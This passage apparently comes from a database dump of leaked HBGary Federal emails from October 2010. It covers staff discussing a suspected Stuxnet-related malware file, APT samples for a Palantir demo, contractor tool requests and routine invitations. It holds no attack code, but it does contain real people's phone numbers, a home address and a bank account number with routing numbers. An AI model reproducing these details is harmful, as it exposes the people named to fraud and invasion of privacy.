He says there is some relation to stuxnet in it&#39;s delivery and focus so that is interesting but he keeps asking about it so there must be something there.  If you could get your fingers on a copy it would be good I think.\r\nAaronFrom my iPhoneOn Oct 4, 2010, at 8:19 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI have received a few emails from you guys with cryptic messages.  What is going on?  Maybe I can dig something up.On Sun, Oct 3, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThe malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\n\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\n\r\n\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.\r\n\r\nGot anything?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',2831,'aaron_hbgary_com/2831.html'),(12548,'2010-10-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297009290.M592833P14101Q7403.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware','I don&#39;t know anything by that name and can&#39;t find anything either.  I wonder if it&#39;s related to this entry in the Symantec Stuxnet timeline:November 20, 2008Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.\r\nOn Mon, Oct 4, 2010 at 8:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDave has been equally as cryptic.  He says there is some relation to stuxnet in it&#39;s delivery and focus so that is interesting but he keeps asking about it so there must be something there.  If you could get your fingers on a copy it would be good I think.\r\n\r\nAaronFrom my iPhoneOn Oct 4, 2010, at 8:19 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nI have received a few emails from you guys with cryptic messages.  What is going on?  Maybe I can dig something up.On Sun, Oct 3, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThe malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\n\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\n\r\n\r\n\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.\r\n\r\nGot anything?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',15354,'aaron_hbgary_com/15354.html'),(12549,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009290.M894124P14101Q7404.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Re: Malware','Check for hki285.exeThat will lead you to a prevx page with some alias.  Not much though.  I did a search for hki*.exe malware and got some other hits but haven&#39;t been able to chase them down yet.  One entry talked about an infection on his box with hki####.exe from 5 months ago.  So if it was similar enough I would think related rather than a copy cat since stuxnet didn&#39;t really blow up until jun/jul.\r\nAaronSent from my iPadOn Oct 4, 2010, at 8:42 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI don&#39;t know anything by that name and can&#39;t find anything either.  I wonder if it&#39;s related to this entry in the Symantec Stuxnet timeline:November 20, 2008Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.\r\n\r\nOn Mon, Oct 4, 2010 at 8:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDave has been equally as cryptic.  He says there is some relation to stuxnet in it&#39;s delivery and focus so that is interesting but he keeps asking about it so there must be something there.  If you could get your fingers on a copy it would be good I think.\r\n\r\n\r\nAaronFrom my iPhoneOn Oct 4, 2010, at 8:19 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI have received a few emails from you guys with cryptic messages.  What is going on?  Maybe I can dig something up.On Sun, Oct 3, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nThe malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\n\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\n\r\n\r\n\r\n\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.\r\n\r\nGot anything?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',8835,'aaron_hbgary_com/8835.html'),(12550,'2010-10-04','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009291.M116239P14101Q7405.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: needs','\r\n\r\n\r\n\r\n\r\nRE: needs\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI still have not gotten the tool description from you.&nbsp; At least, I don&#8217;t think I have.\r\n\r\nAlso, I am going to be around Herndon tomorrow morning.&nbsp; Trying to get stuff set up for the afternoon.\r\n\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Monday, September 27, 2010 10:10 AM\r\nTo: Aaron Barr\r\nSubject: needs\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name of guy from Foundstone\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',588,'aaron_hbgary_com/588.html'),(12551,'2010-10-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009291.M383263P14101Q7406.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware','That is interesting that ZLOB was using that vuln as well.\r\n \r\n-G\r\nOn Mon, Oct 4, 2010 at 5:50 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nCheck for hki285.exe\r\n\r\nThat will lead you to a prevx page with some alias.  Not much though.  I did a search for hki*.exe malware and got some other hits but haven&#39;t been able to chase them down yet.  One entry talked about an infection on his box with hki####.exe from 5 months ago.  So if it was similar enough I would think related rather than a copy cat since stuxnet didn&#39;t really blow up until jun/jul.\r\n\r\n\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 8:42 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI don&#39;t know anything by that name and can&#39;t find anything either.  I wonder if it&#39;s related to this entry in the Symantec Stuxnet timeline:November 20, 2008Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.\r\n\r\nOn Mon, Oct 4, 2010 at 8:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDave has been equally as cryptic.  He says there is some relation to stuxnet in it&#39;s delivery and focus so that is interesting but he keeps asking about it so there must be something there.  If you could get your fingers on a copy it would be good I think.\r\n\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 8:19 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI have received a few emails from you guys with cryptic messages.  What is going on?  Maybe I can dig something up.\r\nOn Sun, Oct 3, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThe malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.Got anything?Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',12743,'aaron_hbgary_com/12743.html'),(12552,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009291.M609066P14101Q7407.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','HBGary Federal Funding','The final quarterly round of HBGary Federal funding was due on Oct\r\n1st, with amounts due as follows per the operating agreement\r\n(Penny & HBGary may require adjustments based on previous contributions):\r\n\r\nNina Slapnick:  $5,689.45\r\nRich Cummings:  $1,625.57\r\n\r\nPlease send your check as soon as possible to:\r\n\r\nHBGary Federal\r\nC/O Ted Vera\r\n874 Legend Oak Dr.\r\nFountain, CO 80817\r\n\r\nor transfer / wire:\r\n\r\nThe acct # is 3803053804\r\nThe routing # is 121042882\r\nThe wire routing # is 121000248\r\n\r\nPlease let me know if you have any questions.\r\n\r\n\r\n-- \r\nTed\r\n',3055,'aaron_hbgary_com/3055.html'),(12553,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009291.M813268P14101Q7408.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Malware presentation at Palantir GovCon','I am here\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 3, 2010, at 11:24 PM, Aaron Zollman  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I\'m clear from about 10:30 onward. Show up whenever. I\'ll just be working on the demo piece before you get there; I made good progress on slides today. -az\r\n>\r\n> On Oct 3, 2010, at 11:06 PM, \"Aaron Barr\"  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I have a brief customer visit tomorrow but other than that I have cleared the day to work on this.  What time are you available to start?\r\n>>\r\n>> I need to check with customer on times tomorrow but its very close to me so shouldn\'t take long.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Oct 3, 2010, at 6:18 PM, Aaron Zollman wrote:\r\n>>\r\n>>> As soon as we have the TMC output for the files that Ted sent me, please get them to me. I\'d like to run them as early as possible Monday.\r\n>>>\r\n>>> I\'ve got a path for structuring the TMC reports -- basically, I split them out into text files by by path, registry, connection, and username and use tagging to reference back to the malware objects.\r\n>>>\r\n>>> Also, I took a look at how we might organize soysauce malware, and there are very clear clusters in that: by PE timestamp and by resource section -- it breaks down perfectly cleanly. Screenshots of both the structured documents and soysauce clusters attached.\r\n>>>\r\n>>> Aaron B: when can we meet Monday to put our slides together? I am free any time before 3:30pm.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Friday, October 01, 2010 5:24 PM\r\n>>> To: mark@hbgary.com; Barr Aaron\r\n>>> Cc: Aaron Zollman\r\n>>> Subject: Fwd: Malware presentation at Palantir GovCon\r\n>>>\r\n>>> These are the files I sent to Aaron:\r\n>>>\r\n>>>\r\n>>> ---------- Forwarded message ----------\r\n>>> From: Ted Vera \r\n>>> Date: Fri, Sep 17, 2010 at 6:56 PM\r\n>>> Subject: Malware presentation at Palantir GovCon\r\n>>> To: Aaron Zollman \r\n>>> Cc: Barr Aaron , mark@hbgary.com\r\n>>>\r\n>>>\r\n>>> Hi Aaron,\r\n>>>\r\n>>> Attached are some known APT samples from an ongoing investigation.\r\n>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>\r\n>>> Hope you have a nice weekend!\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n>>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n',3433,'aaron_hbgary_com/3433.html'),(12554,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009292.M267893P14101Q7410.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: needs','Sorry Brian.  Ted will hey that to you shortly.  We have had some stresses that hot him distracted but he will get that to you right away.AaronFrom my iPhone\r\nOn Oct 4, 2010, at 9:47 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\nI still have not gotten the tool description from you.  At least, I don’t think I have.\r\n\r\n\r\nAlso, I am going to be around Herndon tomorrow morning.  Trying to get stuff set up for the afternoon.\r\n\r\n\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\n\r\nSent: Monday, September 27, 2010 10:10 AM\r\n\r\nTo: Aaron Barr\r\n\r\nSubject: needs\r\n\r\n\r\n\r\n\r\n1.      Name of guy from Foundstone\r\n\r\n2.      Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3356,'aaron_hbgary_com/3356.html'),(12555,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009292.M35223P14101Q7409.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Tool Descriptions','Attached.\r\n\r\n-- \r\nTed\r\n',1269,'aaron_hbgary_com/1269.html'),(12556,'2010-10-04','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009292.M584559P14101Q7411.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: needs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlready got it from him?\r\n\r\nEverything ok?\r\n\r\nAround tomorrow?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, October 04, 2010 11:21 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: needs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry Brian. &nbsp;Ted will hey that to you shortly.\r\n&nbsp;We have had some stresses that hot him distracted but he will get that to\r\nyou right away.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 9:47 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI still have\r\nnot gotten the tool description from you.&nbsp; At least, I don&#8217;t think I have.\r\n\r\nAlso, I am going\r\nto be around Herndon tomorrow morning.&nbsp; Trying to get stuff set up for the\r\nafternoon.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Monday, September 27, 2010 10:10 AM\r\nTo: Aaron Barr\r\nSubject: needs\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nName of guy from Foundstone\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDescription of tools from last\r\nweek email\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12227,'aaron_hbgary_com/12227.html'),(12557,'2010-10-04','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297009292.M800369P14101Q7412.eml','\"Aaron Barr\" <aaron@hbgary.com>','Announcement from The Intelligence Community (IC) - Member Requirements','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn  Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Announcement from The Intelligence Community (IC) - Member Requirements \r\n      \r\n      \r\n	        I would like to thank everyone for taking the time to provide and offer feedback as to the direction of The Intelligence Community (IC) group.  I believe that everyone who has read the postings will agree that the overwhelming opinion is that the group remain open to all those who met the current membership requirements.  Therefore, MEMBERSHIP REQUIREMENTS WILL REMAIN UNCHANGED GOING FORWARD.  \r\n\r\nA few members have offered to assist in moderation the group.  Therefore,over the next few weeks I will be adding a couple of moderators to assist me.   If you haven’t already sent me an e-mail offering your assistance and would like to be considered please do not hesitate to contact me.  I would like to have a “cleared” member of our group assist if one is interested.  On the topic of moderators, I have had a couple of former moderators resign from two subgroups and would like a member of those groups to consider volunteering as moderators.  The groups are Women\'s group of the Intelligence Community and Imagery Intelligence (IMINT).  \r\n\r\nThere was also some considerable interest in a US IC ONLY subgroup.  I would be more than happy to set this up. I am requesting  a volunteer to moderate that group.  The moderator would be responsible for vetting (as best as possible on this open social forum) member requests as well as the content posted to the group.  As soon as a moderator is selected I will set up that subgroup.  \r\n\r\nFinally, if you deem a discussion topic or a comment as inappropriate please flag the comment so that it can be reviewed by the group’s moderators.  However if you do flag something please send a note to a moderator as to why you feel it is inappropriate.  \r\n\r\nThank you all again for your participation in The Intelligence Community (IC) group.  I hope that as it continues to grow, you will find it to be a valuable resource.\r\n\r\nSincerely,\r\n\r\nJohn Goodenow\r\nModerator\r\n	      \r\n      Posted By John Goodenow\r\n      \r\n    \r\n    \r\n      View or add comments &#187;\r\n    \r\n    \r\n    \r\n    Don\'t want to hear from the manager? Unsubscribe here\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n  \r\n\r\n\r\n',8015,'aaron_hbgary_com/8015.html'),(12558,'2010-10-04','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297009293.M109864P14101Q7413.eml','aaron@hbgary.com','NDU iCollege & TechNet Int\'l -3 weeks left to register','\r\n\r\nSeptEcampaign10\r\n\r\n\r\n\r\n\r\n  \r\n  \r\n    \r\n      \r\n      &nbsp; \r\n      \r\n        \r\n        \r\n          \r\n            \r\n          &nbsp;\r\n        \r\n          \r\n            \r\n            NDU iCollege hosts Conference in \r\n            association with\r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                  &nbsp; \r\n                  \r\n                  \r\n                  &nbsp;&nbsp; \r\n                  26 - 29 October \r\n                  2010\r\n                  &nbsp;\r\n  \r\n    &nbsp;\r\n    \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      The Queen Elizabeth II Conference \r\n      Centre\r\n      London, United Kingdom \r\n  \r\n    &nbsp; &nbsp; \r\n    &nbsp; \r\n    &nbsp; &nbsp; \r\n    &nbsp; &nbsp; \r\n    &nbsp; &nbsp; \r\n  \r\n    &nbsp;\r\n    \r\n      \r\n      THIS WEEK INCLUDES: \r\n      \r\n      &nbsp;&nbsp; \r\n      \r\n        \r\n        \r\n          \r\n            \r\n        \r\n          \r\n            \"People, Projects and Perceptions - even thinking \r\n            is participation!\r\n            &nbsp;&nbsp;&nbsp; \r\n            &nbsp;&nbsp;&nbsp; \r\n        \r\n          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n            &nbsp;&nbsp;&nbsp; \r\n          \r\n            \r\n        \r\n          \r\n            &nbsp;\r\n          \r\n            \"Cloud Computing\"\r\n            &nbsp;&nbsp;&nbsp; \r\n            &nbsp;&nbsp;&nbsp; \r\n        \r\n          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n            \r\n          &nbsp;\r\n          \r\n        \r\n          &nbsp;\r\n          &nbsp;\r\n          \r\n            A unique opportunity for Small/Medium \r\n            Enterprises to talk to \r\n            representatives from the NATO CIS \r\n            Services Agency (NCSA). \r\n            &nbsp;&nbsp;&nbsp; \r\n            &nbsp;&nbsp;&nbsp; \r\n        \r\n          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n            \r\n          &nbsp;\r\n          &nbsp;\r\n          \r\n        \r\n          \r\n            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n            &nbsp;\r\n          &nbsp;\r\n          &nbsp;\r\n          \r\n            \"Integrating Cyberspace into the Battlespace\" \r\n            \r\n            \r\n  \r\n    &nbsp;\r\n  \r\n    &nbsp;\r\n    \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      AFCEA Europe:&nbsp; Home&nbsp; I&nbsp; Contact&nbsp; I&nbsp; Registration \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  \r\n    &nbsp;\r\n    \r\n      \r\n      &nbsp; \r\n      \r\n      \r\n      \r\n        This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n        \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org/\r\n      \r\n\r\n\r\n\r\n\r\n',3297,'aaron_hbgary_com/3297.html'),(12559,'2010-10-04','\"Meg Droegemeyer\" <mdroegem@csc.com>','/aaron@hbgary.com/new/1297009293.M357259P14101Q7414.eml','aaron@hbgary.com,\"Paul Rooney\" <prooney3@csc.com>,\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Invitation: Aaron Barr, Bob Frizzelle, Paul Rooney Lunch  Meeting (Oct 25 11:30 AM EDT in TBD)','Description\r\n\r\n',7948,'aaron_hbgary_com/7948.html'),(12560,'2010-10-04','\"Meg Droegemeyer\" <mdroegem@csc.com>','/aaron@hbgary.com/new/1297009294.M12563P14101Q7415.eml','aaron@hbgary.com,\"Paul Rooney\" <prooney3@csc.com>,\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Cancelled: Aaron Barr, Bob Frizzelle, Paul Rooney Lunch  Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCancelled: Aaron Barr, Bob Frizzelle, Paul Rooney Lunch  Meeting\r\n\r\n\r\n10/25/2010 - \r\n\r\n\r\n\r\n\r\n\r\n\r\nChair:\r\nMeg Droegemeyer/USA/CSC\r\n\r\n\r\nSent By:\r\nmdroegem@csc.com\r\n\r\n\r\n\r\n\r\nLocation:\r\nTBD\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmdroegem\r\nMeg Droegemeyer has cancelled this meeting. Your calendar will be updated to reflect this change.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRequired:\r\naaron@hbgary.com, Paul Rooney/USA/CSC@CSC, Robert L Frizzelle/USA/CSC@CSC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDescription\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13026,'aaron_hbgary_com/13026.html'),(12561,'2010-10-04','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009294.M440887P14101Q7416.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Malware presentation at Palantir GovCon','All,\r\n\r\nThe specific piece of malware I\'d like to see run through the TMC has hash:\r\n279162665E7C01624091AFB19B7D7F4C\r\n	And filename:\r\nIprinp.dll\r\n\r\n	This was one of the samples Ted sent me in his Sep 17, 2010 email.\r\n\r\n	If you can make that work, it\'d be great for the demo. (if not,\r\nwe\'ll show other samples and talk about what could\'ve worked.)\r\n\r\n\r\n	Also, since we\'re now doing the threat-analyst part of the demo on\r\nSOYSAUCE instead of this batch, social network data from SOYSAUCE -- e.g. a\r\nURL I can scrape live during the demo -- would be ideal.\r\n\r\n	Thanks,\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, October 03, 2010 11:06 PM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nAaron,\r\n\r\nI have a brief customer visit tomorrow but other than that I have cleared\r\nthe day to work on this.  What time are you available to start?\r\n\r\nI need to check with customer on times tomorrow but its very close to me so\r\nshouldn\'t take long.\r\n\r\nAaron\r\n\r\nOn Oct 3, 2010, at 6:18 PM, Aaron Zollman wrote:\r\n\r\n> As soon as we have the TMC output for the files that Ted sent me, please\r\nget them to me. I\'d like to run them as early as possible Monday. \r\n> \r\n> I\'ve got a path for structuring the TMC reports -- basically, I split them\r\nout into text files by by path, registry, connection, and username and use\r\ntagging to reference back to the malware objects. \r\n> \r\n> Also, I took a look at how we might organize soysauce malware, and there\r\nare very clear clusters in that: by PE timestamp and by resource section --\r\nit breaks down perfectly cleanly. Screenshots of both the structured\r\ndocuments and soysauce clusters attached.\r\n> \r\n> Aaron B: when can we meet Monday to put our slides together? I am free any\r\ntime before 3:30pm.\r\n> \r\n> Thanks,\r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Friday, October 01, 2010 5:24 PM\r\n> To: mark@hbgary.com; Barr Aaron\r\n> Cc: Aaron Zollman\r\n> Subject: Fwd: Malware presentation at Palantir GovCon\r\n> \r\n> These are the files I sent to Aaron:\r\n> \r\n> 